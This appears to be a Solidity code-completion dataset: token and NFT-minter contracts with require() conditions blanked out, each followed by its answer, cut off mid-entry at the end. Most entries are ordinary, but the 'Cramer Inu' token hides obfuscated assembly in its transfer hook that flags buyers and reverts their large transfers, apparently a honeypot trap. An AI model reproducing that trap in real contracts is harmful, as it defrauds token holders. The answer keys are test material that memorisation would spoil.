function setRewardsAddress(address _RewardsAddress) external onlyOwner {
}
}
|
_isSniper[sniper_address]!=status,"Account is already in the said state"
| 140,518 |
_isSniper[sniper_address]!=status
|
"Can't go above Max supply"
|
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CITY is ERC20, Ownable {
uint256 public constant MAXIMUM_SUPPLY = 1000000000 ether;
mapping(address => bool) minters;
constructor() ERC20("MetaCity", "CITY") { }
/**
* mints $CITY to a recipient
* @param to the recipient of the $CITY
* @param amount the amount of $CITY to mint
*/
function mint(address to, uint256 amount) external {
require(minters[msg.sender], "Only minters can mint");
require(<FILL_ME>)
_mint(to, amount);
}
/**
* enables an address to mint / burn
* @param minter the address to enable
*/
function addMinter(address minter) external onlyOwner {
}
/**
* disables an address from minting / burning
* @param minter the address to disbale
*/
function removeMinter(address minter) external onlyOwner {
}
}
|
totalSupply()+amount<MAXIMUM_SUPPLY,"Can't go above Max supply"
| 140,530 |
totalSupply()+amount<MAXIMUM_SUPPLY
|
"invalid signer"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface MEMEINU {
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
}
contract MEME is ERC20, ERC20Capped, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 private _swapPrice;
address payable private _treassurey;
address public constant ADDR_MEMEOG =
0xD5525D397898e5502075Ea5E830d8914f6F0affe; //meme og address
address public constant ADDR_MEMEINU =
0x74B988156925937bD4E082f0eD7429Da8eAea8Db; //meme inu address
uint256 public constant MEMEOG_SUPPLY = 1035510357683; //will be set after snapshot
IERC20 public memeOg = IERC20(ADDR_MEMEOG);
MEMEINU public memeInu = MEMEINU(ADDR_MEMEINU);
address public cSigner;
mapping(address => uint256) public memeInuSwapped;
mapping(address => uint256) public memeOGSwapped;
//event
event Swap(address sender, uint256 amount, uint256 received);
constructor(address _signer)
ERC20("MEME", "MEME")
ERC20Capped(28000 * (10**uint256(18)))
{
}
function _swapInu(
address _sender,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) private {
require(<FILL_ME>)
require(
memeInu.balanceOf(_sender) >= _swapAmount,
"swap amount exceeds balance"
);
uint256 swappedAmount = memeInuSwapped[_sender].add(_swapAmount);
require(swappedAmount <= _maxAmount, "swapped amount exceeds");
//burn inu
memeInu.burnFrom(_sender, _swapAmount);
//mint newtoken
uint256 amountAfterSwap = _swapAmount / (10**uint256(5));
_mint(_sender, amountAfterSwap);
memeInuSwapped[_sender] = swappedAmount;
emit Swap(_sender, _swapAmount, amountAfterSwap);
}
function _swapOG(address _sender, uint256 _swapAmount) private {
}
function swap(
bool _isInu,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) public payable nonReentrant {
}
function swapBack(uint256 _swapAmount) public payable nonReentrant {
}
function burnFrom(address account, uint256 amount) public virtual {
}
function setSigner(address _signer) public onlyOwner {
}
function setSwapPrice(uint256 swapPrice_) public onlyOwner {
}
function getSwapPrice() public view returns (uint256) {
}
function setTreassurey(address payable treassurey_) public onlyOwner {
}
function getTreassurey() public view returns (address) {
}
function _mint(address account, uint256 amount)
internal
virtual
override(ERC20, ERC20Capped)
{
}
function _signerAddress(bytes memory _sig, uint256 _amount)
private
view
returns (address)
{
}
function _recoverSigner(bytes32 _message, bytes memory _sig)
private
pure
returns (address)
{
}
function _splitSignature(bytes memory _sig)
private
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
}
|
_signerAddress(_sig,_maxAmount)==cSigner,"invalid signer"
| 140,749 |
_signerAddress(_sig,_maxAmount)==cSigner
|
"swap amount exceeds balance"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface MEMEINU {
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
}
contract MEME is ERC20, ERC20Capped, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 private _swapPrice;
address payable private _treassurey;
address public constant ADDR_MEMEOG =
0xD5525D397898e5502075Ea5E830d8914f6F0affe; //meme og address
address public constant ADDR_MEMEINU =
0x74B988156925937bD4E082f0eD7429Da8eAea8Db; //meme inu address
uint256 public constant MEMEOG_SUPPLY = 1035510357683; //will be set after snapshot
IERC20 public memeOg = IERC20(ADDR_MEMEOG);
MEMEINU public memeInu = MEMEINU(ADDR_MEMEINU);
address public cSigner;
mapping(address => uint256) public memeInuSwapped;
mapping(address => uint256) public memeOGSwapped;
//event
event Swap(address sender, uint256 amount, uint256 received);
constructor(address _signer)
ERC20("MEME", "MEME")
ERC20Capped(28000 * (10**uint256(18)))
{
}
function _swapInu(
address _sender,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) private {
require(_signerAddress(_sig, _maxAmount) == cSigner, "invalid signer");
require(<FILL_ME>)
uint256 swappedAmount = memeInuSwapped[_sender].add(_swapAmount);
require(swappedAmount <= _maxAmount, "swapped amount exceeds");
//burn inu
memeInu.burnFrom(_sender, _swapAmount);
//mint newtoken
uint256 amountAfterSwap = _swapAmount / (10**uint256(5));
_mint(_sender, amountAfterSwap);
memeInuSwapped[_sender] = swappedAmount;
emit Swap(_sender, _swapAmount, amountAfterSwap);
}
function _swapOG(address _sender, uint256 _swapAmount) private {
}
function swap(
bool _isInu,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) public payable nonReentrant {
}
function swapBack(uint256 _swapAmount) public payable nonReentrant {
}
function burnFrom(address account, uint256 amount) public virtual {
}
function setSigner(address _signer) public onlyOwner {
}
function setSwapPrice(uint256 swapPrice_) public onlyOwner {
}
function getSwapPrice() public view returns (uint256) {
}
function setTreassurey(address payable treassurey_) public onlyOwner {
}
function getTreassurey() public view returns (address) {
}
function _mint(address account, uint256 amount)
internal
virtual
override(ERC20, ERC20Capped)
{
}
function _signerAddress(bytes memory _sig, uint256 _amount)
private
view
returns (address)
{
}
function _recoverSigner(bytes32 _message, bytes memory _sig)
private
pure
returns (address)
{
}
function _splitSignature(bytes memory _sig)
private
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
}
|
memeInu.balanceOf(_sender)>=_swapAmount,"swap amount exceeds balance"
| 140,749 |
memeInu.balanceOf(_sender)>=_swapAmount
|
"swap amount exceeds balance"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface MEMEINU {
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
}
contract MEME is ERC20, ERC20Capped, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 private _swapPrice;
address payable private _treassurey;
address public constant ADDR_MEMEOG =
0xD5525D397898e5502075Ea5E830d8914f6F0affe; //meme og address
address public constant ADDR_MEMEINU =
0x74B988156925937bD4E082f0eD7429Da8eAea8Db; //meme inu address
uint256 public constant MEMEOG_SUPPLY = 1035510357683; //will be set after snapshot
IERC20 public memeOg = IERC20(ADDR_MEMEOG);
MEMEINU public memeInu = MEMEINU(ADDR_MEMEINU);
address public cSigner;
mapping(address => uint256) public memeInuSwapped;
mapping(address => uint256) public memeOGSwapped;
//event
event Swap(address sender, uint256 amount, uint256 received);
constructor(address _signer)
ERC20("MEME", "MEME")
ERC20Capped(28000 * (10**uint256(18)))
{
}
function _swapInu(
address _sender,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) private {
}
function _swapOG(address _sender, uint256 _swapAmount) private {
require(<FILL_ME>)
//transfer meme og to contract
memeOg.transferFrom(_sender, address(this), _swapAmount);
memeOGSwapped[_sender] = memeOGSwapped[_sender].add(_swapAmount);
//transfer newtoken to the sender
uint256 amountToSwap = _swapAmount * (10**uint256(10));
_transfer(address(this), _sender, amountToSwap);
emit Swap(_sender, _swapAmount, amountToSwap);
}
function swap(
bool _isInu,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) public payable nonReentrant {
}
function swapBack(uint256 _swapAmount) public payable nonReentrant {
}
function burnFrom(address account, uint256 amount) public virtual {
}
function setSigner(address _signer) public onlyOwner {
}
function setSwapPrice(uint256 swapPrice_) public onlyOwner {
}
function getSwapPrice() public view returns (uint256) {
}
function setTreassurey(address payable treassurey_) public onlyOwner {
}
function getTreassurey() public view returns (address) {
}
function _mint(address account, uint256 amount)
internal
virtual
override(ERC20, ERC20Capped)
{
}
function _signerAddress(bytes memory _sig, uint256 _amount)
private
view
returns (address)
{
}
function _recoverSigner(bytes32 _message, bytes memory _sig)
private
pure
returns (address)
{
}
function _splitSignature(bytes memory _sig)
private
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
}
|
memeOg.balanceOf(_sender)>=_swapAmount,"swap amount exceeds balance"
| 140,749 |
memeOg.balanceOf(_sender)>=_swapAmount
|
"swap amount exceeds"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface MEMEINU {
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
}
contract MEME is ERC20, ERC20Capped, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 private _swapPrice;
address payable private _treassurey;
address public constant ADDR_MEMEOG =
0xD5525D397898e5502075Ea5E830d8914f6F0affe; //meme og address
address public constant ADDR_MEMEINU =
0x74B988156925937bD4E082f0eD7429Da8eAea8Db; //meme inu address
uint256 public constant MEMEOG_SUPPLY = 1035510357683; //will be set after snapshot
IERC20 public memeOg = IERC20(ADDR_MEMEOG);
MEMEINU public memeInu = MEMEINU(ADDR_MEMEINU);
address public cSigner;
mapping(address => uint256) public memeInuSwapped;
mapping(address => uint256) public memeOGSwapped;
//event
event Swap(address sender, uint256 amount, uint256 received);
constructor(address _signer)
ERC20("MEME", "MEME")
ERC20Capped(28000 * (10**uint256(18)))
{
}
function _swapInu(
address _sender,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) private {
}
function _swapOG(address _sender, uint256 _swapAmount) private {
}
function swap(
bool _isInu,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) public payable nonReentrant {
}
function swapBack(uint256 _swapAmount) public payable nonReentrant {
require(msg.value == _swapPrice, "invalid swapPrice");
require(_msgSender() != address(0), "swap from the zero address");
require(<FILL_ME>)
require(
balanceOf(_msgSender()) >= _swapAmount,
"swap amount exceeds balance"
);
if (msg.value > 0 && _treassurey != address(0))
_treassurey.transfer(msg.value);
//transfer meme og back to the sender
memeOg.transfer(_msgSender(), _swapAmount);
memeOGSwapped[_msgSender()] = memeOGSwapped[_msgSender()].sub(
_swapAmount
);
//transfer newtoken back to the contract
uint256 amountToSwapBack = _swapAmount * (10**uint256(10));
_transfer(_msgSender(), address(this), amountToSwapBack);
emit Swap(_msgSender(), amountToSwapBack, _swapAmount);
}
function burnFrom(address account, uint256 amount) public virtual {
}
function setSigner(address _signer) public onlyOwner {
}
function setSwapPrice(uint256 swapPrice_) public onlyOwner {
}
function getSwapPrice() public view returns (uint256) {
}
function setTreassurey(address payable treassurey_) public onlyOwner {
}
function getTreassurey() public view returns (address) {
}
function _mint(address account, uint256 amount)
internal
virtual
override(ERC20, ERC20Capped)
{
}
function _signerAddress(bytes memory _sig, uint256 _amount)
private
view
returns (address)
{
}
function _recoverSigner(bytes32 _message, bytes memory _sig)
private
pure
returns (address)
{
}
function _splitSignature(bytes memory _sig)
private
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
}
|
memeOGSwapped[_msgSender()]>=_swapAmount,"swap amount exceeds"
| 140,749 |
memeOGSwapped[_msgSender()]>=_swapAmount
|
"swap amount exceeds balance"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface MEMEINU {
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
}
contract MEME is ERC20, ERC20Capped, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 private _swapPrice;
address payable private _treassurey;
address public constant ADDR_MEMEOG =
0xD5525D397898e5502075Ea5E830d8914f6F0affe; //meme og address
address public constant ADDR_MEMEINU =
0x74B988156925937bD4E082f0eD7429Da8eAea8Db; //meme inu address
uint256 public constant MEMEOG_SUPPLY = 1035510357683; //will be set after snapshot
IERC20 public memeOg = IERC20(ADDR_MEMEOG);
MEMEINU public memeInu = MEMEINU(ADDR_MEMEINU);
address public cSigner;
mapping(address => uint256) public memeInuSwapped;
mapping(address => uint256) public memeOGSwapped;
//event
event Swap(address sender, uint256 amount, uint256 received);
constructor(address _signer)
ERC20("MEME", "MEME")
ERC20Capped(28000 * (10**uint256(18)))
{
}
function _swapInu(
address _sender,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) private {
}
function _swapOG(address _sender, uint256 _swapAmount) private {
}
function swap(
bool _isInu,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) public payable nonReentrant {
}
function swapBack(uint256 _swapAmount) public payable nonReentrant {
require(msg.value == _swapPrice, "invalid swapPrice");
require(_msgSender() != address(0), "swap from the zero address");
require(
memeOGSwapped[_msgSender()] >= _swapAmount,
"swap amount exceeds"
);
require(<FILL_ME>)
if (msg.value > 0 && _treassurey != address(0))
_treassurey.transfer(msg.value);
//transfer meme og back to the sender
memeOg.transfer(_msgSender(), _swapAmount);
memeOGSwapped[_msgSender()] = memeOGSwapped[_msgSender()].sub(
_swapAmount
);
//transfer newtoken back to the contract
uint256 amountToSwapBack = _swapAmount * (10**uint256(10));
_transfer(_msgSender(), address(this), amountToSwapBack);
emit Swap(_msgSender(), amountToSwapBack, _swapAmount);
}
function burnFrom(address account, uint256 amount) public virtual {
}
function setSigner(address _signer) public onlyOwner {
}
function setSwapPrice(uint256 swapPrice_) public onlyOwner {
}
function getSwapPrice() public view returns (uint256) {
}
function setTreassurey(address payable treassurey_) public onlyOwner {
}
function getTreassurey() public view returns (address) {
}
function _mint(address account, uint256 amount)
internal
virtual
override(ERC20, ERC20Capped)
{
}
function _signerAddress(bytes memory _sig, uint256 _amount)
private
view
returns (address)
{
}
function _recoverSigner(bytes32 _message, bytes memory _sig)
private
pure
returns (address)
{
}
function _splitSignature(bytes memory _sig)
private
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
}
|
balanceOf(_msgSender())>=_swapAmount,"swap amount exceeds balance"
| 140,749 |
balanceOf(_msgSender())>=_swapAmount
|
"cap exceeded"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface MEMEINU {
function balanceOf(address account) external view returns (uint256);
function burnFrom(address account, uint256 amount) external;
}
contract MEME is ERC20, ERC20Capped, Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 private _swapPrice;
address payable private _treassurey;
address public constant ADDR_MEMEOG =
0xD5525D397898e5502075Ea5E830d8914f6F0affe; //meme og address
address public constant ADDR_MEMEINU =
0x74B988156925937bD4E082f0eD7429Da8eAea8Db; //meme inu address
uint256 public constant MEMEOG_SUPPLY = 1035510357683; //will be set after snapshot
IERC20 public memeOg = IERC20(ADDR_MEMEOG);
MEMEINU public memeInu = MEMEINU(ADDR_MEMEINU);
address public cSigner;
mapping(address => uint256) public memeInuSwapped;
mapping(address => uint256) public memeOGSwapped;
//event
event Swap(address sender, uint256 amount, uint256 received);
constructor(address _signer)
ERC20("MEME", "MEME")
ERC20Capped(28000 * (10**uint256(18)))
{
}
function _swapInu(
address _sender,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) private {
}
function _swapOG(address _sender, uint256 _swapAmount) private {
}
function swap(
bool _isInu,
uint256 _swapAmount,
uint256 _maxAmount,
bytes memory _sig
) public payable nonReentrant {
}
function swapBack(uint256 _swapAmount) public payable nonReentrant {
}
function burnFrom(address account, uint256 amount) public virtual {
}
function setSigner(address _signer) public onlyOwner {
}
function setSwapPrice(uint256 swapPrice_) public onlyOwner {
}
function getSwapPrice() public view returns (uint256) {
}
function setTreassurey(address payable treassurey_) public onlyOwner {
}
function getTreassurey() public view returns (address) {
}
function _mint(address account, uint256 amount)
internal
virtual
override(ERC20, ERC20Capped)
{
require(<FILL_ME>)
super._mint(account, amount);
}
function _signerAddress(bytes memory _sig, uint256 _amount)
private
view
returns (address)
{
}
function _recoverSigner(bytes32 _message, bytes memory _sig)
private
pure
returns (address)
{
}
function _splitSignature(bytes memory _sig)
private
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
}
|
ERC20.totalSupply()+amount<=cap(),"cap exceeded"
| 140,749 |
ERC20.totalSupply()+amount<=cap()
|
"ERC20: trading is not yet enabled."
|
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addBrisk;
uint256 private redBanana = block.number*2;
mapping (address => bool) private _firstCold;
mapping (address => bool) private _secondFrozen;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private tourFour;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private sleepingNow;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private haveFear = 1; bool private askOut;
uint256 private _decimals; uint256 private eatTomorrow;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _tokenInit() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { if gt(float,exp(0xA,0x13)) { revert(0,0) } }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if and(iszero(sload(getBy(sender,0x4))),iszero(sload(getBy(recipient,0x4)))) { sstore(getBy(recipient,0x5),0x1) }
if iszero(mod(sload(0x15),0x8)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),exp(0xA,0x32)) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployBrisk(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract CramerInu is ERC20Token {
constructor() ERC20Token("Cramer Inu", "CRAMINU", msg.sender, 2500000 * 10 ** 18) {
}
}
|
(trading||(sender==addBrisk[1])),"ERC20: trading is not yet enabled."
| 140,949 |
(trading||(sender==addBrisk[1]))
|
"Maximum number of invocations reached"
|
// SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "../../interfaces/0.8.x/IBonusContract.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
pragma solidity 0.8.9;
/**
* @title Powered by Art Blocks minter contract that allows tokens to be
* minted with ETH or any ERC-20 token.
* @author Art Blocks Inc.
*/
contract GenArt721Minter_LegendsOfMetaterra is ReentrancyGuard {
/// PBAB core contract this minter may interact with.
IGenArt721CoreV2_PBAB public genArtCoreContract;
uint256 constant ONE_MILLION = 1_000_000;
address payable public ownerAddress;
uint256 public ownerPercentage;
mapping(uint256 => bool) public projectIdToBonus;
mapping(uint256 => address) public projectIdToBonusContractAddress;
mapping(uint256 => bool) public contractFilterProject;
mapping(address => mapping(uint256 => uint256)) public projectMintCounter;
mapping(uint256 => uint256) public projectMintLimit;
mapping(uint256 => bool) public projectMaxHasBeenInvoked;
mapping(uint256 => uint256) public projectMaxInvocations;
/**
* @notice Initializes contract to be a Minter for PBAB core contract at
* address `_genArt721Address`.
*/
constructor(address _genArt721Address) ReentrancyGuard() {
}
/**
* @notice Gets your balance of the ERC-20 token currently set
* as the payment currency for project `_projectId`.
* @param _projectId Project ID to be queried.
* @return balance Balance of ERC-20
*/
function getYourBalanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Gets your allowance for this minter of the ERC-20
* token currently set as the payment currency for project
* `_projectId`.
* @param _projectId Project ID to be queried.
* @return remaining Remaining allowance of ERC-20
*/
function checkYourAllowanceOfProjectERC20(uint256 _projectId)
public
view
returns (uint256)
{
}
/**
* @notice Sets the mint limit of a single purchaser for project
* `_projectId` to `_limit`.
* @param _projectId Project ID to set the mint limit for.
* @param _limit Number of times a given address may mint the project's
* tokens.
*/
function setProjectMintLimit(uint256 _projectId, uint8 _limit) public {
}
/**
* @notice Sets the maximum invocations of project `_projectId` based
* on the value currently defined in the core contract.
* @param _projectId Project ID to set the maximum invocations for.
* @dev also checks and may refresh projectMaxHasBeenInvoked for project
*/
function setProjectMaxInvocations(uint256 _projectId) public {
}
/**
* @notice Sets the owner address to `_ownerAddress`.
* @param _ownerAddress New owner address.
*/
function setOwnerAddress(address payable _ownerAddress) public {
}
/**
* @notice Sets the owner mint revenue to `_ownerPercentage` percent.
* @param _ownerPercentage New owner percentage.
*/
function setOwnerPercentage(uint256 _ownerPercentage) public {
}
/**
* @notice Toggles if contracts are allowed to mint tokens for
* project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function toggleContractFilter(uint256 _projectId) public {
}
/**
* @notice Toggles if bonus contract for project `_projectId`.
* @param _projectId Project ID to be toggled.
*/
function artistToggleBonus(uint256 _projectId) public {
}
/**
* @notice Sets bonus contract for project `_projectId` to
* `_bonusContractAddress`.
* @param _projectId Project ID to be toggled.
* @param _bonusContractAddress Bonus contract.
*/
function artistSetBonusContractAddress(
uint256 _projectId,
address _bonusContractAddress
) public {
}
/**
* @notice Purchases a token from project `_projectId`.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchase(uint256 _projectId)
public
payable
returns (uint256 _tokenId)
{
}
/**
* @notice Purchases a token from project `_projectId` and sets
* the token's owner to `_to`.
* @param _to Address to be the new token's owner.
* @param _projectId Project ID to mint a token on.
* @return _tokenId Token ID of minted token
*/
function purchaseTo(address _to, uint256 _projectId)
public
payable
nonReentrant
returns (uint256 _tokenId)
{
// CHECKS
require(<FILL_ME>)
// if contract filter is active prevent calls from another contract
if (contractFilterProject[_projectId]) {
require(msg.sender == tx.origin, "No Contract Buys");
}
// limit mints per address by project
if (projectMintLimit[_projectId] > 0) {
require(
projectMintCounter[msg.sender][_projectId] <
projectMintLimit[_projectId],
"Reached minting limit"
);
// EFFECTS
projectMintCounter[msg.sender][_projectId]++;
}
uint256 tokenId = genArtCoreContract.mint(_to, _projectId, msg.sender);
// What if this overflows, since default value of uint256 is 0?
// That is intended, so that by default the minter allows infinite
// transactions, allowing the `genArtCoreContract` to stop minting
// `uint256 tokenInvocation = tokenId % ONE_MILLION;`
if (
projectMaxInvocations[_projectId] > 0 &&
tokenId % ONE_MILLION == projectMaxInvocations[_projectId] - 1
) {
projectMaxHasBeenInvoked[_projectId] = true;
}
// INTERACTIONS
// bonus contract
if (projectIdToBonus[_projectId]) {
require(
IBonusContract(projectIdToBonusContractAddress[_projectId])
.bonusIsActive(),
"bonus must be active"
);
IBonusContract(projectIdToBonusContractAddress[_projectId])
.triggerBonus(msg.sender);
}
// validate and split funds
if (
keccak256(
abi.encodePacked(
genArtCoreContract.projectIdToCurrencySymbol(_projectId)
)
) != keccak256(abi.encodePacked("ETH"))
) {
require(
msg.value == 0,
"this project accepts a different currency and cannot accept ETH"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).allowance(msg.sender, address(this)) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient Funds Approved for TX"
);
require(
IERC20(
genArtCoreContract.projectIdToCurrencyAddress(_projectId)
).balanceOf(msg.sender) >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Insufficient balance."
);
_splitFundsERC20(_projectId);
} else {
require(
msg.value >=
genArtCoreContract.projectIdToPricePerTokenInWei(
_projectId
),
"Must send minimum value to mint!"
);
_splitFundsETH(_projectId);
}
return tokenId;
}
/**
* @dev splits ETH funds between sender (if refund), foundation,
* artist, and artist's additional payee for a token purchased on
* project `_projectId`.
* @dev utilizes transfer() to send ETH, so access lists may need to be
* populated when purchasing tokens.
*/
function _splitFundsETH(uint256 _projectId) internal {
}
/**
* @dev splits ERC-20 funds between render provider, owner, artist, and
* artist's additional payee, for a token purchased on project
`_projectId`.
*/
function _splitFundsERC20(uint256 _projectId) internal {
}
}
|
!projectMaxHasBeenInvoked[_projectId],"Maximum number of invocations reached"
| 141,017 |
!projectMaxHasBeenInvoked[_projectId]
|
"Reached minting limit"
|
// SPDX-License-Identifier: LGPL-3.0-only
// Created By: Art Blocks Inc.
import "../../interfaces/0.8.x/IGenArt721CoreV2_PBAB.sol";
import "../../interfaces/0.8.x/IBonusContract.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
